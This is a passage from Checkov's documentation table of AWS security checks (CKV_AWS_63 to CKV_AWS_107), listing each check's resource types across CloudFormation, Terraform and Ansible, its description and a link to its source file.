[IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 303 | CKV_AWS_63 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure no IAM policies documents allow "*" as a statement's actions | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 304 | CKV_AWS_64 | resource | AWS::Redshift::Cluster | Ensure all data stored in the Redshift cluster is securely encrypted at rest | Cloudformation | [RedshiftClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterEncryption.py) | | 305 | CKV_AWS_64 | resource | aws_redshift_cluster | Ensure all data stored in the Redshift cluster is securely encrypted at rest | Terraform | [RedshiftClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterEncryption.py) | | 306 | CKV_AWS_65 | resource | AWS::ECS::Cluster | Ensure container insights are enabled on ECS cluster | Cloudformation | [ECSClusterContainerInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSClusterContainerInsights.py) | | 307 | CKV_AWS_65 | resource | aws_ecs_cluster | Ensure container insights are enabled on ECS cluster | Terraform | [ECSClusterContainerInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterContainerInsights.py) | | 308 | CKV_AWS_66 | resource | AWS::Logs::LogGroup | Ensure that CloudWatch Log Group specifies retention days | Cloudformation | [CloudWatchLogGroupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupRetention.py) | | 309 | CKV_AWS_66 | resource | aws_cloudwatch_log_group | Ensure that CloudWatch Log Group specifies retention days | Terraform | [CloudWatchLogGroupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetention.py) | | 310 | CKV_AWS_67 | resource | AWS::CloudTrail::Trail | Ensure CloudTrail is enabled in all Regions | Cloudformation | [CloudtrailMultiRegion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailMultiRegion.py) | | 311 | CKV_AWS_67 | resource | aws_cloudtrail | Ensure CloudTrail is enabled in all Regions | Terraform | [CloudtrailMultiRegion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailMultiRegion.py) | | 312 | CKV_AWS_68 | resource | AWS::CloudFront::Distribution | CloudFront Distribution should have WAF enabled | Cloudformation | [WAFEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFEnabled.py) | | 313 | CKV_AWS_68 | resource | aws_cloudfront_distribution | CloudFront Distribution should have WAF enabled | Terraform | [WAFEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFEnabled.py) | | 314 | CKV_AWS_69 | resource | AWS::AmazonMQ::Broker | Ensure Amazon MQ Broker should not have public access | Cloudformation | [AmazonMQBrokerPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AmazonMQBrokerPublicAccess.py) | | 315 | CKV_AWS_69 | resource | aws_mq_broker | Ensure MQ Broker is not publicly exposed | Terraform | [MQBrokerNotPubliclyExposed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerNotPubliclyExposed.py) | | 316 | CKV_AWS_70 | resource | aws_s3_bucket | Ensure S3 bucket does not allow an action with any Principal | Terraform | [S3AllowsAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AllowsAnyPrincipal.py) | | 317 | CKV_AWS_70 | resource | aws_s3_bucket_policy | Ensure S3 bucket does not allow an action with any Principal | Terraform | [S3AllowsAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AllowsAnyPrincipal.py) | | 318 | CKV_AWS_71 | resource | AWS::Redshift::Cluster | Ensure Redshift Cluster logging is enabled | Cloudformation | [RedshiftClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterLogging.py) | | 319 | CKV_AWS_71 | resource | aws_redshift_cluster | Ensure Redshift Cluster logging is enabled | Terraform | [RedshiftClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterLogging.py) | | 320 | CKV_AWS_72 | resource | aws_sqs_queue_policy | Ensure SQS policy does not allow ALL (*) actions. | Terraform | [SQSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSPolicy.py) | | 321 | CKV_AWS_73 | resource | AWS::ApiGateway::Stage | Ensure API Gateway has X-Ray Tracing enabled | Cloudformation | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py) | | 322 | CKV_AWS_73 | resource | AWS::Serverless::Api | Ensure API Gateway has X-Ray Tracing enabled | Cloudformation | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py) | | 323 | CKV_AWS_73 | resource | aws_api_gateway_stage | Ensure API Gateway has X-Ray Tracing enabled | Terraform | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayXray.py) | | 324 | CKV_AWS_74 | resource | AWS::DocDB::DBCluster | Ensure DocumentDB is encrypted at rest (default is unencrypted) | Cloudformation | [DocDBEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBEncryption.py) | | 325 | CKV_AWS_74 | resource | aws_docdb_cluster | Ensure DocumentDB is encrypted at rest (default is unencrypted) | Terraform | [DocDBEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBEncryption.py) | | 326 | CKV_AWS_75 | resource | aws_globalaccelerator_accelerator | Ensure Global Accelerator accelerator has flow logs enabled | Terraform | [GlobalAcceleratorAcceleratorFlowLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlobalAcceleratorAcceleratorFlowLogs.py) | | 327 | CKV_AWS_76 | resource | AWS::ApiGateway::Stage | Ensure API Gateway has Access Logging enabled | Cloudformation | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py) | | 328 | CKV_AWS_76 | resource | AWS::Serverless::Api | Ensure API Gateway has Access Logging enabled | Cloudformation | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py) | | 329 | CKV_AWS_76 | resource | aws_api_gateway_stage | Ensure API Gateway has Access Logging enabled | Terraform | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAccessLogging.py) | | 330 | CKV_AWS_76 | resource | aws_apigatewayv2_stage | Ensure API Gateway has Access Logging enabled | Terraform | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAccessLogging.py) | | 331 | CKV_AWS_77 | resource | aws_athena_database | Ensure Athena Database is encrypted at rest (default is unencrypted) | Terraform | [AthenaDatabaseEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaDatabaseEncryption.py) | | 332 | CKV_AWS_78 | resource | AWS::CodeBuild::Project | Ensure that CodeBuild Project encryption is not disabled | Cloudformation | [CodeBuildProjectEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CodeBuildProjectEncryption.py) | | 333 | CKV_AWS_78 | resource | aws_codebuild_project | Ensure that CodeBuild Project encryption is not disabled | Terraform | [CodeBuildProjectEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeBuildProjectEncryption.py) | | 334 | CKV_AWS_79 | resource | AWS::EC2::LaunchTemplate | Ensure Instance Metadata Service Version 1 is not enabled | Cloudformation | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IMDSv1Disabled.py) | | 335 | CKV_AWS_79 | resource | aws_instance | Ensure Instance Metadata Service Version 1 is not enabled | Terraform | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py) | | 336 | CKV_AWS_79 | resource | aws_launch_configuration | Ensure Instance Metadata Service Version 1 is not enabled | Terraform | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py) | | 337 | CKV_AWS_79 | resource | aws_launch_template | Ensure Instance Metadata Service Version 1 is not enabled | Terraform | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py) | | 338 | CKV_AWS_80 | resource | AWS::MSK::Cluster | Ensure MSK Cluster logging is enabled | Cloudformation | [MSKClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterLogging.py) | | 339 | CKV_AWS_80 | resource | aws_msk_cluster | Ensure MSK Cluster logging is enabled | Terraform | [MSKClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterLogging.py) | | 340 | CKV_AWS_81 | resource | AWS::MSK::Cluster | Ensure MSK Cluster encryption in rest and transit is enabled | Cloudformation | [MSKClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterEncryption.py) | | 341 | CKV_AWS_81 | resource | aws_msk_cluster | Ensure MSK Cluster encryption in rest and transit is enabled | Terraform | [MSKClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterEncryption.py) | | 342 | CKV_AWS_82 | resource | AWS::Athena::WorkGroup | Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption | Cloudformation | [AthenaWorkgroupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AthenaWorkgroupConfiguration.py) | | 343 | CKV_AWS_82 | resource | aws_athena_workgroup | Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption | Terraform | [AthenaWorkgroupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaWorkgroupConfiguration.py) | | 344 | CKV_AWS_83 | resource | AWS::Elasticsearch::Domain | Ensure Elasticsearch Domain enforces HTTPS | Cloudformation | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py) | | 345 | CKV_AWS_83 | resource | aws_elasticsearch_domain | Ensure Elasticsearch Domain enforces HTTPS | Terraform | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py) | | 346 | CKV_AWS_83 | resource | aws_opensearch_domain | Ensure Elasticsearch Domain enforces HTTPS | Terraform | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py) | | 347 | CKV_AWS_84 | resource | AWS::Elasticsearch::Domain | Ensure Elasticsearch Domain Logging is enabled | Cloudformation | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py) | | 348 | CKV_AWS_84 | resource | AWS::OpenSearchService::Domain | Ensure Elasticsearch Domain Logging is enabled | Cloudformation | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py) | | 349 | CKV_AWS_84 | resource | aws_elasticsearch_domain | Ensure Elasticsearch Domain Logging is enabled | Terraform | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainLogging.py) | | 350 | CKV_AWS_84 | resource | aws_opensearch_domain | Ensure Elasticsearch Domain Logging is enabled | Terraform | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainLogging.py) | | 351 | CKV_AWS_85 | resource | AWS::DocDB::DBCluster | Ensure DocumentDB Logging is enabled | Cloudformation | [DocDBLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBLogging.py) | | 352 | CKV_AWS_85 | resource | aws_docdb_cluster | Ensure DocumentDB Logging is enabled | Terraform | [DocDBLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBLogging.py) | | 353 | CKV_AWS_86 | resource | AWS::CloudFront::Distribution | Ensure CloudFront Distribution has Access Logging enabled | Cloudformation | [CloudfrontDistributionLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionLogging.py) | | 354 | CKV_AWS_86 | resource | aws_cloudfront_distribution | Ensure CloudFront distribution has Access Logging enabled | Terraform | [CloudfrontDistributionLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionLogging.py) | | 355 | CKV_AWS_87 | resource | AWS::Redshift::Cluster | Redshift cluster should not be publicly accessible | Cloudformation | [RedshiftClusterPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterPubliclyAccessible.py) | | 356 | CKV_AWS_87 | resource | aws_redshift_cluster | Redshift cluster should not be publicly accessible | Terraform | [RedshitClusterPubliclyAvailable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshitClusterPubliclyAvailable.py) | | 357 | CKV_AWS_88 | resource | AWS::EC2::Instance | EC2 instance should not have public IP. | Cloudformation | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py) | | 358 | CKV_AWS_88 | resource | AWS::EC2::LaunchTemplate | EC2 instance should not have public IP. | Cloudformation | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py) | | 359 | CKV_AWS_88 | resource | [?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 360 | CKV_AWS_88 | resource | [?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 361 | CKV_AWS_88 | resource | [].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 362 | CKV_AWS_88 | resource | [].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 363 | CKV_AWS_88 | resource | [].block[].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 364 | CKV_AWS_88 | resource | [].block[].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 365 | CKV_AWS_88 | resource | [].block[].block[].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 366 | CKV_AWS_88 | resource | [].block[].block[].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 367 | CKV_AWS_88 | resource | [].tasks[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 368 | CKV_AWS_88 | resource | [].tasks[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 369 | CKV_AWS_88 | resource | [].tasks[].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 370 | CKV_AWS_88 | resource | [].tasks[].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 371 | CKV_AWS_88 | resource | [].tasks[].block[].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 372 | CKV_AWS_88 | resource | [].tasks[].block[].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 373 | CKV_AWS_88 | resource | [].tasks[].block[].block[].block[?"amazon.aws.ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 374 | CKV_AWS_88 | resource | [].tasks[].block[].block[].block[?"ec2_instance" != null][] | EC2 instance should not have public IP. | Ansible | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py) | | 375 | CKV_AWS_88 | resource | aws_instance | EC2 instance should not have public IP. | Terraform | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2PublicIP.py) | | 376 | CKV_AWS_88 | resource | aws_launch_template | EC2 instance should not have public IP. | Terraform | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2PublicIP.py) | | 377 | CKV_AWS_89 | resource | AWS::DMS::ReplicationInstance | DMS replication instance should not be publicly accessible | Cloudformation | [DMSReplicationInstancePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py) | | 378 | CKV_AWS_89 | resource | aws_dms_replication_instance | DMS replication instance should not be publicly accessible | Terraform | [DMSReplicationInstancePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py) | | 379 | CKV_AWS_90 | resource | AWS::DocDB::DBClusterParameterGroup | Ensure DocumentDB TLS is not disabled | Cloudformation | [DocDBTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBTLS.py) | | 380 | CKV_AWS_90 | resource | aws_docdb_cluster_parameter_group | Ensure DocumentDB TLS is not disabled | Terraform | [DocDBTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBTLS.py) | | 381 | CKV_AWS_91 | resource | AWS::ElasticLoadBalancingV2::LoadBalancer | Ensure the ELBv2 (Application/Network) has access logging enabled | Cloudformation | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBv2AccessLogs.py) | | 382 | CKV_AWS_91 | resource | aws_alb | Ensure the ELBv2 (Application/Network) has access logging enabled | Terraform | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBv2AccessLogs.py) | | 383 | CKV_AWS_91 | resource | aws_lb | Ensure the ELBv2 (Application/Network) has access logging enabled | Terraform | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBv2AccessLogs.py) | | 384 | CKV_AWS_92 | resource | AWS::ElasticLoadBalancing::LoadBalancer | Ensure the ELB has access logging enabled | Cloudformation | [ELBAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBAccessLogs.py) | | 385 | CKV_AWS_92 | resource | aws_elb | Ensure the ELB has access logging enabled | Terraform | [ELBAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBAccessLogs.py) | | 386 | CKV_AWS_93 | resource | aws_s3_bucket | Ensure S3 bucket policy does not lockout all but root user. (Prevent lockouts needing root account fixes) | Terraform | [S3ProtectAgainstPolicyLockout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ProtectAgainstPolicyLockout.py) | | 387 | CKV_AWS_93 | resource | aws_s3_bucket_policy | Ensure S3 bucket policy does not lockout all but root user. (Prevent lockouts needing root account fixes) | Terraform | [S3ProtectAgainstPolicyLockout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ProtectAgainstPolicyLockout.py) | | 388 | CKV_AWS_94 | resource | AWS::Glue::DataCatalogEncryptionSettings | Ensure Glue Data Catalog Encryption is enabled | Cloudformation | [GlueDataCatalogEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueDataCatalogEncryption.py) | | 389 | CKV_AWS_94 | resource | aws_glue_data_catalog_encryption_settings | Ensure Glue Data Catalog Encryption is enabled | Terraform | [GlueDataCatalogEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueDataCatalogEncryption.py) | | 390 | CKV_AWS_95 | resource | AWS::ApiGatewayV2::Stage | Ensure API Gateway V2 has Access Logging enabled | Cloudformation | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py) | | 391 | CKV_AWS_95 | resource | AWS::Serverless::HttpApi | Ensure API Gateway V2 has Access Logging enabled | Cloudformation | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py) | | 392 | CKV_AWS_96 | resource | AWS::RDS::DBCluster | Ensure all data stored in Aurora is securely encrypted at rest | Cloudformation | [AuroraEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AuroraEncryption.py) | | 393 | CKV_AWS_96 | resource | aws_rds_cluster | Ensure all data stored in Aurora is securely encrypted at rest | Terraform | [AuroraEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AuroraEncryption.py) | | 394 | CKV_AWS_97 | resource | AWS::ECS::TaskDefinition | Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions | Cloudformation | [ECSTaskDefinitionEFSVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py) | | 395 | CKV_AWS_97 | resource | aws_ecs_task_definition | Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions | Terraform | [ECSTaskDefinitionEFSVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py) | | 396 | CKV_AWS_98 | resource | aws_sagemaker_endpoint_configuration | Ensure all data stored in the Sagemaker Endpoint is securely encrypted at rest | Terraform | [SagemakerEndpointConfigurationEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerEndpointConfigurationEncryption.py) | | 397 | CKV_AWS_99 | resource | AWS::Glue::SecurityConfiguration | Ensure Glue Security Configuration Encryption is enabled | Cloudformation | [GlueSecurityConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfiguration.py) | | 398 | CKV_AWS_99 | resource | aws_glue_security_configuration | Ensure Glue Security Configuration Encryption is enabled | Terraform | [GlueSecurityConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfiguration.py) | | 399 | CKV_AWS_100 | resource | AWS::EKS::Nodegroup | Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0 | Cloudformation | [EKSNodeGroupRemoteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSNodeGroupRemoteAccess.py) | | 400 | CKV_AWS_100 | resource | aws_eks_node_group | Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0 | Terraform | [EKSNodeGroupRemoteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSNodeGroupRemoteAccess.py) | | 401 | CKV_AWS_101 | resource | AWS::Neptune::DBCluster | Ensure Neptune logging is enabled | Cloudformation | [NeptuneClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterLogging.py) | | 402 | CKV_AWS_101 | resource | aws_neptune_cluster | Ensure Neptune logging is enabled | Terraform | [NeptuneClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterLogging.py) | | 403 | CKV_AWS_102 | resource | aws_neptune_cluster_instance | Ensure Neptune Cluster instance is not publicly available | Terraform | [NeptuneClusterInstancePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterInstancePublic.py) | | 404 | CKV_AWS_103 | resource | AWS::ElasticLoadBalancingV2::Listener | Ensure that Load Balancer Listener is using at least TLS v1.2 | Cloudformation | [ALBListenerTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerTLS12.py) | | 405 | CKV_AWS_103 | resource | aws_alb_listener | Ensure that load balancer is using at least TLS 1.2 | Terraform | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml) | | 406 | CKV_AWS_103 | resource | aws_lb | Ensure that load balancer is using at least TLS 1.2 | Terraform | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml) | | 407 | CKV_AWS_103 | resource | aws_lb_listener | Ensure that load balancer is using at least TLS 1.2 | Terraform | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml) | | 408 | CKV_AWS_104 | resource | AWS::DocDB::DBClusterParameterGroup | Ensure DocumentDB has audit logs enabled | Cloudformation | [DocDBAuditLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBAuditLogs.py) | | 409 | CKV_AWS_104 | resource | aws_docdb_cluster_parameter_group | Ensure DocumentDB has audit logs enabled | Terraform | [DocDBAuditLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBAuditLogs.py) | | 410 | CKV_AWS_105 | resource | AWS::Redshift::ClusterParameterGroup | Ensure Redshift uses SSL | Cloudformation | [RedShiftSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedShiftSSL.py) | | 411 | CKV_AWS_105 | resource | aws_redshift_parameter_group | Ensure Redshift uses SSL | Terraform | [RedShiftSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedShiftSSL.py) | | 412 | CKV_AWS_106 | resource | aws_ebs_encryption_by_default | Ensure EBS default encryption is enabled | Terraform | [EBSDefaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSDefaultEncryption.py) | | 413 | CKV_AWS_107 | resource | AWS::IAM::Group | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 414 | CKV_AWS_107 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 415 | CKV_AWS_107 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow credentials 